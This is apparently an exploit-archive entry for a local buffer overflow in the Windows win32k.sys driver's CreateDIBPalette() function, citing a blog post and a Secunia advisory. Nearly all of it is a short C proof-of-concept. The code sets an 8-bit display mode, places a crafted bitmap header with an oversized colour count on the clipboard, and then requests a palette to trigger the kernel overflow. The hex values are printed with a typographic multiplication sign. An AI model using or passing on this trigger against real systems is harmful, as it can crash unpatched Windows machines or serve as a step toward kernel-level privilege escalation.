Microsoft Windows – ‘win32k.sys’ Driver ‘CreateDIBPalette()’ Local Buffer Overflow

// source: http://www.ragestorm.net/blogs/?p=255

// source: http://secunia.com/advisories/40870/

DEVMODE dm = {0};

dm.dmSize= sizeof(DEVMODE);

dm.dmBitsPerPel = 8;

dm.dmPelsWidth = 800;

dm.dmPelsHeight = 600;

dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;

ChangeDisplaySettings(&dm, 0);

BITMAPINFOHEADER bmih = {0};

bmih.biClrUsed = 0×200;

HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000);

memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));

GlobalUnlock(h);

OpenClipboard(NULL);

SetClipboardData(CF_DIBV5, (HANDLE)h);

CloseClipboard();

OpenClipboard(NULL);

GetClipboardData(CF_PALETTE);